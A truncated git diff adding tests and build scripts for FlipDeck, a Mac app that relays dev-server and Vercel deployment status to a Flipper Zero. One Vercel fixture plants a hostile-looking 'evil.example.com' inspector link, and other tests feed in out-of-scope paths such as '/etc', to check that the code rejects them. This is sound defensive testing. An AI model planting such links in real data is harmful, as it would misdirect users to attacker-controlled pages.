.project(path: "/dev/web"), source: .system) + + override func setUp() async throws { + transport = LoopbackTransport() + clock = Clock(.at(1_000_000)) + let clock = self.clock! + session = FlipperSession(transport: transport, hostName: "Studio", log: Logger("t", sink: NullLogSink()), now: { clock.now }) + performed = Counter() + seen = Counter() + let performed = self.performed! + let seen = self.seen! + await session.setHandlers( + action: { action in + performed.add(action.id) + return .success("done") + }, + seen: { id in seen.add(id) }, + status: nil + ) + await session.start() + } + + func snapshot(_ title: String = "web") -> FlipperSnapshot { + FlipperSnapshot( + records: [Frame("SUM", ["0", "1", "0", "0"]), Frame("PRJ", ["p1", title, "main", "c", "0", "0", "0", "-", "0"]), Frame("ACT", ["p1", "a1", "OPEN", "", ""])], + actions: ["a1": openAction], + eventOwners: ["ev-1": "e1"] + ) + } + + /// Lets the session's transport-event task catch up. + func settle() async { + for _ in 0..<20 { await Task.yield() } + try? await Task.sleep(nanoseconds: 20_000_000) + } + + func frames(_ type: String) -> [Frame] { transport.sentFrames().filter { $0.type == type } } + + func connectAndHandshake(nonce: String = "n1") async { + transport.emit(.connected(peerName: "FlipDeck Zero", maxChunk: 182)) + await settle() + transport.receive(String(decoding: FrameCodec.encode(Frame("HI", ["1", "0.1.0", "0", nonce])), as: UTF8.self)) + await settle() + } + + func send(_ frame: Frame) async { + transport.emit(.received(FrameCodec.encode(frame))) + await settle() + } + + func testHandshakeThenSnapshot() async { + await session.update(snapshot: snapshot(), machine: nil) + XCTAssertTrue(transport.sentFrames().isEmpty, "nothing is sent before the link is up") + + transport.emit(.connected(peerName: "FlipDeck Zero", maxChunk: 182)) + await settle() + let hello = frames("HELLO") + XCTAssertEqual(hello.count, 1) + XCTAssertEqual(hello[0].fields[0], "1") + XCTAssertEqual(hello[0].fields[2], "Studio") + XCTAssertEqual(hello[0].fields[3], "182") + XCTAssertTrue(frames("SNAP").isEmpty, "no snapshot before HI") + + await send(Frame("HI", ["1", "0.1.0", "0", "n1"])) + let sent = transport.sentFrames().map(\.type) + XCTAssertEqual(Array(sent.drop { $0 != "SNAP" }.prefix(5)), ["SNAP", "SUM", "PRJ", "ACT", "END"]) + XCTAssertEqual(frames("SNAP").first?.fields, ["1", "3"]) + XCTAssertEqual(frames("END").first?.fields, ["1"]) + let status = await session.status + XCTAssertEqual(status.link, .ready(appVersion: "0.1.0")) + } + + func testSnapshotsOnlyWhenChangedAndRateLimited() async { + await session.update(snapshot: snapshot(), machine: nil) + await connectAndHandshake() + transport.clearSent() + + await session.update(snapshot: snapshot(), machine: nil) + XCTAssertTrue(frames("SNAP").isEmpty, "identical snapshot not resent") + + await session.update(snapshot: snapshot("renamed"), machine: nil) + XCTAssertTrue(frames("SNAP").isEmpty, "rate limited to 1/s") + clock.advance(1.1) + await session.tick() + XCTAssertEqual(frames("SNAP").map { $0.fields[0] }, ["2"]) + } + + func testHeartbeatAndResyncOnGenerationMismatch() async { + await session.update(snapshot: snapshot(), machine: nil) + await connectAndHandshake() + transport.clearSent() + clock.advance(5) + await session.tick() + XCTAssertEqual(frames("PING").first?.fields.first, "1") + + await send(Frame("PONG", ["1"])) + XCTAssertTrue(frames("SNAP").isEmpty, "matching generation: no resend") + + clock.advance(3) + await send(Frame("PONG", ["0"])) + XCTAssertEqual(frames("SNAP").count, 1, "Flipper didn't commit: resend") + + await send(Frame("SYNC", ["0"])) + XCTAssertEqual(frames("SNAP").count, 1, "resync storms are rate limited") + clock.advance(2.5) + await send(Frame("SYNC", ["0"])) + XCTAssertEqual(frames("SNAP").count, 2) + } + + func testActionRequestsAreExecutedOnceAndDuplicatesGetCachedResult() async { + await session.update(snapshot: snapshot(), machine: nil) + await connectAndHandshake() + transport.clearSent() + + await send(Frame("REQ", ["7", "a1", "1"])) + await send(Frame("REQ", ["7", "a1", "1"])) + XCTAssertEqual(performed.all, [openAction.id]) + XCTAssertEqual(frames("RES").map(\.fields), [["7", "1", "done"], ["7", "1", "done"]]) + + await send(Frame("REQ", ["8", "zzz", "1"])) + XCTAssertEqual(frames("RES").last?.fields, ["8", "0", "Action expired; refresh"]) + XCTAssertEqual(performed.all.count, 1) + } + + func testNewFlipperInstanceClearsRequestCache() async { + await session.update(snapshot: snapshot(), machine: nil) + await connectAndHandshake(nonce: "boot-A") + await send(Frame("REQ", ["1", "a1", "1"])) + transport.emit(.disconnected(reason: "app restarted")) + await settle() + await connectAndHandshake(nonce: "boot-B") + await send(Frame("REQ", ["1", "a1", "1"])) + XCTAssertEqual(performed.all.count, 2, "req 1 from a new app instance is a new request") + } + + func testHelloIsRetriedUntilHI() async { + transport.emit(.connected(peerName: "f", maxChunk: 20)) + await settle() + XCTAssertEqual(frames("HELLO").count, 1) + clock.advance(1) + await session.tick() + XCTAssertEqual(frames("HELLO").count, 1, "not before the retry interval") + clock.advance(2.5) + await session.tick() + XCTAssertEqual(frames("HELLO").count, 2, "retried after 3s without HI") + await send(Frame("HI", ["1", "0.1.0", "0", "n"])) + clock.advance(10) + await session.tick() + XCTAssertEqual(frames("HELLO").count, 2, "no more HELLOs once ready") + } + + func testRequestsIgnoredUntilReady() async { + await session.update(snapshot: snapshot(), machine: nil) + transport.emit(.connected(peerName: "f", maxChunk: 20)) + await settle() + await send(Frame("REQ", ["1", "a1", "1"])) + XCTAssertTrue(performed.all.isEmpty) + XCTAssertTrue(frames("RES").isEmpty) + } + + func testIncompatibleVersion() async { + await session.update(snapshot: snapshot(), machine: nil) + transport.emit(.connected(peerName: "f", maxChunk: 20)) + await settle() + await send(Frame("HI", ["2", "9.0.0", "0", "n"])) + let status = await session.status + XCTAssertEqual(status.link, .incompatible(peerProtocol: 2)) + transport.clearSent() + clock.advance(6) + await session.tick() + XCTAssertEqual(transport.sentFrames().map(\.type), ["HELLO"], "only HELLO while incompatible") + await send(Frame("REQ", ["1", "a1", "1"])) + XCTAssertTrue(performed.all.isEmpty) + } + + func testAlertsDeliveredReplayedAndSeen() async { + await session.update(snapshot: snapshot(), machine: nil) + let event = FDEvent(id: "ev-1", timestamp: clock.now, source: .vercel, projectName: "web", type: .deploymentFailed, severity: .error, title: "Production deployment failed", message: "Type error") + await session.alert(event) + XCTAssertTrue(frames("ALR").isEmpty, "not connected yet") + + await connectAndHandshake() + XCTAssertEqual(frames("ALR").map(\.fields), [["e1", "e", "web", "Production deployment failed", "Type error"]]) + + // Reconnect: replayed (the Flipper de-duplicates by id). + transport.emit(.disconnected(reason: nil)) + await connectAndHandshake() + XCTAssertEqual(frames("ALR").count, 2) + + await send(Frame("SEEN", ["e1"])) + XCTAssertEqual(seen.all, ["ev-1"]) + transport.emit(.disconnected(reason: nil)) + await connectAndHandshake() + XCTAssertEqual(frames("ALR").count, 2, "seen alerts aren't replayed") + } + + func testStaleAlertsAreNotReplayed() async { + let event = FDEvent(id: "old", timestamp: clock.now, source: .agent, type: .agentExited, severity: .info, title: "Codex finished") + await session.alert(event) + clock.advance(31 * 60) + await connectAndHandshake() + XCTAssertTrue(frames("ALR").isEmpty) + } + + func testMalformedInputIsCountedNotFatal() async { + await session.update(snapshot: snapshot(), machine: nil) + await connectAndHandshake() + transport.receive("garbage\nREQ|1|a1|1*FFFF\n") + await settle() + let status = await session.status + XCTAssertEqual(status.framesDropped, 2) + XCTAssertTrue(performed.all.isEmpty) + await send(Frame("REQ", ["2", "a1", "1"])) + XCTAssertEqual(performed.all.count, 1) + } + + func testMachineFrameSentOnlyOnChange() async { + let machine = MachineStatus(hostName: "Studio", osVersion: "15", cpuUsage: 0.1) + await session.update(snapshot: snapshot(), machine: machine) + await connectAndHandshake() + XCTAssertEqual(frames("MAC").count, 1) + await session.update(snapshot: snapshot(), machine: MachineStatus(hostName: "Studio", osVersion: "15", cpuUsage: 0.11)) + XCTAssertEqual(frames("MAC").count, 1, "quantized to the same 10%") + await session.update(snapshot: snapshot(), machine: MachineStatus(hostName: "Studio", osVersion: "15", cpuUsage: 0.5)) + XCTAssertEqual(frames("MAC").count, 2) + } +} diff --git a/mac/Tests/FlipDeckCoreTests/TestSupport.swift b/mac/Tests/FlipDeckCoreTests/TestSupport.swift new file mode 100644 index 0000000..bb9e566 --- /dev/null +++ b/mac/Tests/FlipDeckCoreTests/TestSupport.swift @@ -0,0 +1,127 @@ +import Foundation +import XCTest +@testable import FlipDeckCore + +/// Temporary directory removed at deinit. +final class TempDir { + let path: String + + init() { + let base = FileManager.default.temporaryDirectory.appendingPathComponent("flipdeck-tests-\(UUID().uuidString)") + try! FileManager.default.createDirectory(at: base, withIntermediateDirectories: true) + // Resolve symlinks (/tmp → /private/tmp on macOS) so paths match what tools report. + path = base.resolvingSymlinksInPath().path + } + + deinit { try? FileManager.default.removeItem(atPath: path) } + + @discardableResult + func mkdir(_ relative: String) -> String { + let full = path + "/" + relative + try! FileManager.default.createDirectory(atPath: full, withIntermediateDirectories: true) + return full + } + + func write(_ relative: String, _ contents: String) { + let full = path + "/" + relative + try! FileManager.default.createDirectory(atPath: (full as NSString).deletingLastPathComponent, withIntermediateDirectories: true) + try! contents.write(toFile: full, atomically: true, encoding: .utf8) + } +} + +/// Runs real commands synchronously for test setup. +@discardableResult +func sh(_ command: String, cwd: String? = nil) throws -> String { + let result = try ProcessCommandRunner.runSync("/bin/sh", ["-c", command], cwd: cwd, timeout: 30) + if !result.succeeded { + throw NSError(domain: "sh", code: Int(result.exitCode), userInfo: [NSLocalizedDescriptionKey: "\(command): \(result.stderr)"]) + } + return result.stdout +} + +func makeGitRepo(_ path: String) throws { + try sh("git init -q -b main . && git config user.email t@example.com && git config user.name Test && git config commit.gpgsign false", cwd: path) +} + +func commit(_ path: String, file: String = "README.md", message: String = "commit") throws { + try sh("echo \(UUID().uuidString) >> \(file) && git add -A && git commit -q -m '\(message)'", cwd: path) +} + +/// Fake command runner keyed by the executable's basename + first argument. +final class FakeRunner: CommandRunner, @unchecked Sendable { + var responses: [String: CommandResult] = [:] + var calls: [[String]] = [] + private let lock = NSLock() + + private func recordCall(_ call: [String]) { + lock.lock() + calls.append(call) + lock.unlock() + } + + func run(_ executable: String, _ arguments: [String], cwd: String?, timeout: TimeInterval) async throws -> CommandResult { + recordCall([executable] + arguments) + let name = URL(fileURLWithPath: executable).lastPathComponent + return responses[name] ?? CommandResult(exitCode: 1, stdout: "", stderr: "no fake for \(name)") + } +} + +/// Records effects instead of performing them. +final class RecordingEffects: SystemEffects, @unchecked Sendable { + private let lock = NSLock() + private(set) var log: [String] = [] + + private func record(_ entry: String) { + lock.lock() + log.append(entry) + lock.unlock() + } + + var entries: [String] { + lock.lock() + defer { lock.unlock() } + return log + } + + func openURL(_ url: URL) async throws { record("open \(url.absoluteString)") } + func openProject(at path: String, editorBundleID: String?) async throws -> String { + record("project \(path)") + return "Editor" + } + func openTerminal(at path: String) async throws { record("terminal \(path)") } + func revealInFinder(_ path: String) async throws { record("finder \(path)") } + func copyToClipboard(_ string: String) async { record("copy \(string)") } + func terminate(pid: Int32) throws { record("terminate \(pid)") } +} + +/// Fake HTTP client returning canned responses per path. +final class FakeHTTP: HTTPClient, @unchecked Sendable { + var handler: (URL) -> HTTPResponse + private(set) var requests: [(URL, [String: String])] = [] + private let lock = NSLock() + + init(handler: @escaping (URL) -> HTTPResponse) { self.handler = handler } + + private func recordRequest(_ url: URL, _ headers: [String: String]) -> (URL) -> HTTPResponse { + lock.lock() + defer { lock.unlock() } + requests.append((url, headers)) + return handler + } + + func get(_ url: URL, headers: [String: String]) async throws -> HTTPResponse { + recordRequest(url, headers)(url) + } +} + +extension Date { + static func at(_ seconds: TimeInterval) -> Date { Date(timeIntervalSince1970: seconds) } +} + +func project(_ path: String, name: String? = nil, git: GitStatus? = GitStatus(branch: "main", headOID: "aaa")) -> Project { + Project(path: path, name: name ?? URL(fileURLWithPath: path).lastPathComponent, isGitRepository: true, git: git) +} + +func server(pid: Int32, port: Int, projectID: String? = nil, startedAt: Date? = .at(1_000)) -> DevServer { + DevServer(pid: pid, ports: [port], processName: "node", command: "node vite", framework: "Vite", startedAt: startedAt, projectID: projectID) +} diff --git a/mac/Tests/FlipDeckCoreTests/VercelAndActionTests.swift b/mac/Tests/FlipDeckCoreTests/VercelAndActionTests.swift new file mode 100644 index 0000000..cf3f4b0 --- /dev/null +++ b/mac/Tests/FlipDeckCoreTests/VercelAndActionTests.swift @@ -0,0 +1,182 @@ +import XCTest +@testable import FlipDeckCore + +final class VercelTests: XCTestCase { + static let sampleResponse = """ + { + "pagination": {"count": 3, "next": 1, "prev": null}, + "deployments": [ + {"uid": "dpl_3", "name": "web", "url": "web-3.vercel.app", "state": "ERROR", "target": "production", + "inspectorUrl": "https://vercel.com/acme/web/3", "created": 1700000300000, + "meta": {"githubCommitRef": "main", "githubCommitMessage": "Break it", "githubPrId": 12}}, + {"uid": "dpl_2", "url": "web-2.vercel.app", "readyState": "READY", "target": null, "createdAt": 1700000200000}, + {"uid": "dpl_1", "state": "SOMETHING_NEW", "created": 1700000100000}, + {"uid": "dpl_0", "state": "BLOCKED", "created": 1700000000000, "inspectorUrl": "https://evil.example.com/x"} + ] + } + """ + + func testLinkReader() { + let tmp = TempDir() + tmp.write("a/.vercel/project.json", #"{"projectId":"prj_1","orgId":"team_9","projectName":"web"}"#) + tmp.write("b/.vercel/repo.json", #"{"orgId":"team_9","remoteName":"origin","projects":[{"id":"prj_2","name":"api","directory":"apps/api"}]}"#) + tmp.write("c/.vercel/repo.json", #"{"orgId":"team_9","projects":[{"id":"prj_3","directory":"apps/a"},{"id":"prj_4","directory":"apps/b"}]}"#) + tmp.write("d/.vercel/project.json", "{broken") + + XCTAssertEqual(VercelLinkReader.read(projectPath: tmp.path + "/a"), VercelLink(projectID: "prj_1", orgID: "team_9", projectName: "web")) + XCTAssertEqual(VercelLinkReader.read(projectPath: tmp.path + "/b")?.projectID, "prj_2") + XCTAssertNil(VercelLinkReader.read(projectPath: tmp.path + "/c"), "ambiguous monorepo link must not guess") + XCTAssertNil(VercelLinkReader.read(projectPath: tmp.path + "/d")) + XCTAssertNil(VercelLinkReader.read(projectPath: tmp.path + "/missing")) + } + + func testClientDecodesAndMaps() async throws { + let http = FakeHTTP { _ in HTTPResponse(status: 200, body: Data(Self.sampleResponse.utf8)) } + let client = VercelClient(token: "tok_secret", http: http) + let deployments = try await client.deployments(for: VercelLink(projectID: "prj_1", orgID: "team_9"), localProjectID: "/dev/web") + + XCTAssertEqual(deployments.map(\.id), ["dpl_3", "dpl_2", "dpl_0"], "unknown states are skipped") + XCTAssertEqual(deployments[0].state, .error) + XCTAssertEqual(deployments[0].branch, "main") + XCTAssertEqual(deployments[0].commitMessage, "Break it") + XCTAssertEqual(deployments[0].url, "https://web-3.vercel.app") + XCTAssertEqual(deployments[0].inspectorURL, "https://vercel.com/acme/web/3") + XCTAssertEqual(deployments[0].createdAt, Date(timeIntervalSince1970: 1_700_000_300)) + XCTAssertEqual(deployments[1].state, .ready) + XCTAssertEqual(deployments[1].targetLabel, "Preview") + XCTAssertEqual(deployments[2].state, .error) + XCTAssertEqual(deployments[2].errorMessage, "Deployment blocked") + XCTAssertNil(deployments[2].inspectorURL, "non-vercel.com links are dropped") + + let (url, headers) = http.requests[0] + XCTAssertEqual(url.path, "/v6/deployments") + XCTAssertTrue(url.query!.contains("projectId=prj_1")) + XCTAssertTrue(url.query!.contains("teamId=team_9")) + XCTAssertEqual(headers["Authorization"], "Bearer tok_secret") + } + + func testPersonalAccountOmitsTeamID() async throws { + let http = FakeHTTP { _ in HTTPResponse(status: 200, body: Data(#"{"deployments":[]}"#.utf8)) } + _ = try await VercelClient(token: "t", http: http).deployments(for: VercelLink(projectID: "prj_1", orgID: "abc123"), localProjectID: "x") + XCTAssertFalse(http.requests[0].0.query!.contains("teamId")) + } + + func testErrorsMapAndNeverLeakToken() async { + for (status, expected) in [(401, VercelError.unauthorized), (403, .unauthorized), (500, .http(500))] { + let http = FakeHTTP { _ in HTTPResponse(status: status, body: Data("tok_secret".utf8)) } + do { + _ = try await VercelClient(token: "tok_secret", http: http).deployments(for: VercelLink(projectID: "p", orgID: "o"), localProjectID: "x") + XCTFail("expected error") + } catch { + XCTAssertEqual(error as? VercelError, expected) + XCTAssertFalse(String(describing: error).contains("tok_secret")) + } + } + let garbage = FakeHTTP { _ in HTTPResponse(status: 200, body: Data("".utf8)) } + do { + _ = try await VercelClient(token: "t", http: garbage).deployments(for: VercelLink(projectID: "p", orgID: "o"), localProjectID: "x") + XCTFail("expected error") + } catch let error as VercelError { + if case .decoding = error {} else { XCTFail("\(error)") } + } catch { XCTFail("\(error)") } + } + + func testIntegrationStatusBackoffAndUnauthorized() async { + var linked = project("/dev/web") + linked.vercel = VercelLink(projectID: "prj_1", orgID: "team_1") + let log = Logger("t", sink: NullLogSink()) + + let noToken = await VercelIntegration(http: FakeHTTP { _ in HTTPResponse(status: 200, body: Data()) }, log: log).refresh(projects: [linked], token: nil) + XCTAssertEqual(noToken.status.health, .notConfigured) + XCTAssertEqual(noToken.status.linkedProjects, 1) + + let failing = FakeHTTP { _ in HTTPResponse(status: 502, body: Data()) } + let integration = VercelIntegration(http: failing, log: log) + let first = await integration.refresh(projects: [linked], token: "t", now: .at(0)) + if case .error = first.status.health {} else { XCTFail("expected error health") } + _ = await integration.refresh(projects: [linked], token: "t", now: .at(10)) // within 30s backoff + XCTAssertEqual(failing.requests.count, 1) + failing.handler = { _ in HTTPResponse(status: 200, body: Data(#"{"deployments":[]}"#.utf8)) } + let recovered = await integration.refresh(projects: [linked], token: "t", now: .at(31)) + XCTAssertEqual(recovered.status.health, .ok) + XCTAssertEqual(recovered.deployments["/dev/web"], []) + + let rejecting = FakeHTTP { _ in HTTPResponse(status: 401, body: Data()) } + let unauthorized = VercelIntegration(http: rejecting, log: log) + let rejected = await unauthorized.refresh(projects: [linked], token: "bad") + XCTAssertEqual(rejected.status.health, .unauthorized) + _ = await unauthorized.refresh(projects: [linked], token: "bad", now: Date().addingTimeInterval(3600)) + XCTAssertEqual(rejecting.requests.count, 1, "a rejected token is not retried") + _ = await unauthorized.refresh(projects: [linked], token: "new") + XCTAssertEqual(rejecting.requests.count, 2, "a new token is tried") + } +} + +final class ActionExecutorTests: XCTestCase { + func makeState(_ tmp: TempDir) -> EngineState { + var state = EngineState() + state.projects = [project(tmp.mkdir("web"))] + state.servers = [server(pid: 4242, port: 5173, projectID: state.projects[0].id, startedAt: .at(1_000))] + state.deployments[state.projects[0].id] = [Deployment( + id: "d1", provider: "vercel", projectID: state.projects[0].id, state: .ready, target: "production", + url: "https://web.vercel.app", inspectorURL: "https://vercel.com/a/web/d1", createdAt: .at(1), branch: nil, commitMessage: nil)] + return state + } + + func testPerformsValidActions() async { + let tmp = TempDir() + let state = makeState(tmp) + let effects = RecordingEffects() + let executor = ActionExecutor(effects: effects) + let path = state.projects[0].path + let policy = ActionPolicy() + + var result = await executor.perform(FDAction(kind: .openOnMac, target: .project(path: path), source: .system), origin: .flipper, state: state, policy: policy) + XCTAssertEqual(result, .success("Opened in Editor")) + result = await executor.perform(FDAction(kind: .openLocalhost, target: .process(pid: 4242, startedAt: .at(1_000), port: 5173), source: .process), origin: .flipper, state: state, policy: policy) + XCTAssertTrue(result.ok) + result = await executor.perform(FDAction(kind: .stopServer, target: .process(pid: 4242, startedAt: .at(1_000), port: 5173), source: .process), origin: .flipper, state: state, policy: policy) + XCTAssertTrue(result.ok) + result = await executor.perform(FDAction(kind: .openLogs, target: .url("https://vercel.com/a/web/d1"), source: .vercel), origin: .flipper, state: state, policy: policy) + XCTAssertTrue(result.ok) + XCTAssertEqual(effects.entries, ["project \(path)", "open http://localhost:5173", "terminate 4242", "open https://vercel.com/a/web/d1"]) + } + + func testRejectsStaleUnknownAndDisallowed() async { + let tmp = TempDir() + let state = makeState(tmp) + let effects = RecordingEffects() + let executor = ActionExecutor(effects: effects) + + // PID reused by a different process (different start time). + var result = await executor.perform(FDAction(kind: .stopServer, target: .process(pid: 4242, startedAt: .at(5_000), port: 5173), source: .process), origin: .mac, state: state, policy: ActionPolicy()) + XCTAssertEqual(result, .failure("Server changed; refresh and retry")) + // Not a dev server FlipDeck knows about. + result = await executor.perform(FDAction(kind: .stopServer, target: .process(pid: 1, startedAt: nil, port: nil), source: .process), origin: .mac, state: state, policy: ActionPolicy()) + XCTAssertEqual(result, .failure("Server is no longer running")) + // Destructive from Flipper disabled by policy. + result = await executor.perform(FDAction(kind: .stopServer, target: .process(pid: 4242, startedAt: .at(1_000), port: 5173), source: .process), origin: .flipper, state: state, policy: ActionPolicy(allowDestructiveFromFlipper: false)) + XCTAssertEqual(result, .failure("Disabled in Mac settings")) + // Arbitrary URL that isn't part of current state. + result = await executor.perform(FDAction(kind: .openLogs, target: .url("https://vercel.com/somewhere-else"), source: .vercel), origin: .mac, state: state, policy: ActionPolicy()) + XCTAssertFalse(result.ok) + // Directory that isn't a discovered project. + result = await executor.perform(FDAction(kind: .openTerminal, target: .project(path: "/etc"), source: .system), origin: .mac, state: state, policy: ActionPolicy()) + XCTAssertEqual(result, .failure("Project not found")) + // Mac-only kinds from the Flipper. + result = await executor.perform(FDAction(kind: .copyURL, target: .url("http://localhost:5173"), source: .process), origin: .flipper, state: state, policy: ActionPolicy()) + XCTAssertEqual(result, .failure("Not available from Flipper")) + // Kind/target mismatch. + result = await executor.perform(FDAction(kind: .stopServer, target: .project(path: state.projects[0].path), source: .system), origin: .mac, state: state, policy: ActionPolicy()) + XCTAssertEqual(result, .failure("Unsupported action")) + + XCTAssertTrue(effects.entries.isEmpty) + } + + func testActionIDsAreDeterministic() { + let a = FDAction(kind: .openOnMac, target: .project(path: "/x"), source: .system) + let b = FDAction(kind: .openOnMac, target: .project(path: "/x"), source: .agent) + XCTAssertEqual(a.id, b.id) + XCTAssertNotEqual(a.id, FDAction(kind: .openTerminal, target: .project(path: "/x"), source: .system).id) + } +} diff --git a/mac/scripts/Info.plist b/mac/scripts/Info.plist new file mode 100644 index 0000000..b033255 --- /dev/null +++ b/mac/scripts/Info.plist @@ -0,0 +1,32 @@ + + + + + CFBundleDevelopmentRegion + en + CFBundleExecutable + FlipDeck + CFBundleIdentifier + com.flipdeck.mac + CFBundleName + FlipDeck + CFBundleDisplayName + FlipDeck + CFBundlePackageType + APPL + CFBundleShortVersionString + 0.1.0 + CFBundleVersion + 1 + LSMinimumSystemVersion + 14.0 + LSApplicationCategoryType + public.app-category.developer-tools + NSHighResolutionCapable + + NSBluetoothAlwaysUsageDescription + FlipDeck connects to your Flipper Zero over Bluetooth to show your development status on it. + NSHumanReadableCopyright + MIT License + + diff --git a/mac/scripts/build-app.sh b/mac/scripts/build-app.sh new file mode 100755 index 0000000..0b8d0fb --- /dev/null +++ b/mac/scripts/build-app.sh @@ -0,0 +1,21 @@ +#!/usr/bin/env bash +# Builds FlipDeck.app from the SwiftPM package. A real bundle is required for +# the Bluetooth permission prompt (NSBluetoothAlwaysUsageDescription) and for +# Mac notifications. Usage: scripts/build-app.sh [release|debug] +set -euo pipefail +cd "$(dirname "$0")/.." + +CONFIG="${1:-release}" +swift build -c "$CONFIG" --product FlipDeck +BIN_DIR="$(swift build -c "$CONFIG" --show-bin-path)" + +APP="build/FlipDeck.app" +rm -rf "$APP" +mkdir -p "$APP/Contents/MacOS" "$APP/Contents/Resources" +cp "$BIN_DIR/FlipDeck" "$APP/Contents/MacOS/FlipDeck" +cp scripts/Info.plist "$APP/Contents/Info.plist" + +# Ad-hoc signature so macOS attributes Bluetooth/notification permissions to +# this app. Replace "-" with a Developer ID to distribute. +codesign --force --sign - --timestamp=none "$APP" +echo "Built $(pwd)/$APP" diff --git a/scripts/check_flipper_sdk.sh b/scripts/check_flipper_sdk.sh new file mode 100755 index 0000000..2fd3b38 --- /dev/null +++ b/scripts/check_flipper_sdk.sh @@ -0,0 +1,105 @@ +#!/usr/bin/env bash +# Type-checks the Flipper app (src/*.c) against real flipperzero-firmware +# headers, with the firmware's own warning flags, and verifies that every +# external symbol the app needs is exported to apps in api_symbols.csv. +# +# For environments where uFBT can't download its SDK (the normal build is just +# `ufbt` at the repo root, which CI runs). Needs git and arm-none-eabi-gcc. +# +# scripts/check_flipper_sdk.sh # uses/creates the firmware cache +# FLIPPER_FW=/path/to/firmware scripts/check_flipper_sdk.sh +set -euo pipefail + +ROOT="$(cd "$(dirname "$0")/.." && pwd)" +FW="${FLIPPER_FW:-${XDG_CACHE_HOME:-$HOME/.cache}/flipdeck/flipperzero-firmware}" +REF="${FLIPPER_FW_REF:-dev}" +CC=arm-none-eabi-gcc +NM=arm-none-eabi-nm + +command -v "$CC" >/dev/null || { echo "arm-none-eabi-gcc not found" >&2; exit 2; } + +if [ ! -f "$FW/targets/f7/api_symbols.csv" ]; then + echo "Fetching flipperzero-firmware ($REF) into $FW" + rm -rf "$FW" + git clone -q --depth 1 --branch "$REF" --filter=blob:none --no-checkout \ + https://github.com/flipperdevices/flipperzero-firmware.git "$FW" + git -C "$FW" sparse-checkout init --cone + git -C "$FW" sparse-checkout set furi applications/services targets lib/ble_profile \ + lib/cmsis_core lib/print lib/toolbox lib/drivers site_scons + git -C "$FW" checkout -q + # Submodules the SDK headers depend on, at the commits the firmware pins. + for sub in lib/FreeRTOS-Kernel:https://github.com/FreeRTOS/FreeRTOS-Kernel.git \ + lib/mlib:https://github.com/P-p-H-d/mlib.git \ + lib/stm32wb_copro:https://github.com/flipperdevices/stm32wb_copro.git \ + lib/stm32wb_cmsis:https://github.com/STMicroelectronics/cmsis_device_wb \ + lib/stm32wb_hal:https://github.com/STMicroelectronics/stm32wbxx_hal_driver; do + path="${sub%%:*}" + url="${sub#*:}" + commit="$(git -C "$FW" ls-tree HEAD "$path" | awk '{print $3}')" + mkdir -p "$FW/$path" + git -C "$FW/$path" init -q + git -C "$FW/$path" fetch -q --depth 1 "$url" "$commit" + git -C "$FW/$path" checkout -q FETCH_HEAD + done +fi + +echo "Firmware: $(git -C "$FW" log -1 --format='%h %cd' --date=short 2>/dev/null || echo unknown)" + +INCLUDES=( + "$FW" "$FW/furi" "$FW/applications/services" "$FW/lib" "$FW/lib/mlib" "$FW/lib/print" + "$FW/lib/toolbox" "$FW/lib/drivers" "$FW/lib/cmsis_core" "$FW/lib/stm32wb_cmsis/Include" + "$FW/lib/stm32wb_hal/Inc" "$FW/lib/FreeRTOS-Kernel/include" "$FW/lib/FreeRTOS-Kernel/portable/GCC/ARM_CM4F" + "$FW/lib/stm32wb_copro/wpan" "$FW/lib/stm32wb_copro/wpan/ble" "$FW/lib/stm32wb_copro/wpan/ble/core" + "$FW/lib/stm32wb_copro/wpan/interface/patterns/ble_thread" "$FW/lib/stm32wb_copro/wpan/interface/patterns/ble_thread/shci" + "$FW/lib/stm32wb_copro/wpan/utilities" "$FW/lib/ble_profile" + "$FW/targets/furi_hal_include" "$FW/targets/f7/ble_glue" "$FW/targets/f7/ble_glue/furi_ble" + "$FW/targets/f7/ble_glue/services" "$FW/targets/f7/ble_glue/profiles" "$FW/targets/f7/furi_hal" + "$FW/targets/f7/inc" "$FW/targets/f7/platform_specific" "$FW/targets/f7/fatfs" + "$ROOT/src" +) +FLAGS=( + -mcpu=cortex-m4 -mfloat-abi=hard -mfpu=fpv4-sp-d16 -mthumb -std=gnu2x -Os + -fdata-sections -ffunction-sections + -Wall -Wextra -Werror -Wno-error=deprecated-declarations -Wno-address-of-packed-member + -Wredundant-decls -Wdouble-promotion -Wundef -Wstrict-prototypes -fsingle-precision-constant + -D_GNU_SOURCE -DSTM32WB -DSTM32WB55xx -DUSE_FULL_LL_DRIVER -DUSE_FULL_ASSERT -DFURI_NDEBUG + -DFAP_VERSION='"0.1"' +) +for dir in "${INCLUDES[@]}"; do FLAGS+=("-I$dir"); done + +OUT="$(mktemp -d)" +trap 'rm -rf "$OUT"' EXIT + +# Sources from application.fam, so this checks exactly what uFBT builds. +mapfile -t SOURCES < <(python3 - "$ROOT/application.fam" <<'EOF' +import re, sys +text = open(sys.argv[1]).read() +block = re.search(r"sources\s*=\s*\[(.*?)\]", text, re.S).group(1) +print("\n".join(re.findall(r'"([^"]+)"', block))) +EOF +) + +status=0 +for source in "${SOURCES[@]}"; do + if "$CC" "${FLAGS[@]}" -c "$ROOT/$source" -o "$OUT/$(basename "$source").o"; then + echo " compiled $source" + else + echo " FAILED $source" + status=1 + fi +done +[ $status -eq 0 ] || exit $status + +# Every undefined symbol must be defined by another app object or exported +# to apps ("+") by the firmware API table. +"$NM" --defined-only "$OUT"/*.o | awk '{print $3}' | sort -u > "$OUT/defined" +"$NM" -u "$OUT"/*.o | awk '{print $2}' | sort -u > "$OUT/needed" +awk -F, '($1=="Function" || $1=="Variable") && $2=="+" {print $3}' "$FW/targets/f7/api_symbols.csv" | sort -u > "$OUT/exported" +missing="$(comm -23 "$OUT/needed" "$OUT/defined" | comm -23 - "$OUT/exported" | grep -v '^__aeabi_\|^__stack_chk' || true)" +if [ -n "$missing" ]; then + echo "Symbols not exported to apps by this firmware:" + echo "$missing" | sed 's/^/ /' + exit 1 +fi +echo " $(wc -l < "$OUT/needed") external symbols, all exported by the firmware API" +echo "OK" diff --git a/scripts/gen_protocol_vectors.py b/scripts/gen_protocol_vectors.py new file mode 100644 index 0000000..c80cff4 --- /dev/null +++ b/scripts/gen_protocol_vectors.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python3 +"""Regenerates docs/protocol-vectors.txt: golden FDP/1 frames checked by both +the Swift (mac/Tests) and C (flipper/tests) test suites. The CRC here is an +independent third implementation of CRC-16/CCITT-FALSE.""" +import pathlib + +def crc16(data: bytes) -> int: + crc = 0xFFFF + for b in data: + crc ^= b << 8 + for _ in range(8): + crc = ((crc << 1) ^ 0x1021) if crc & 0x8000 else (crc << 1) + crc &= 0xFFFF + return crc + +def frame(payload: str) -> str: + return 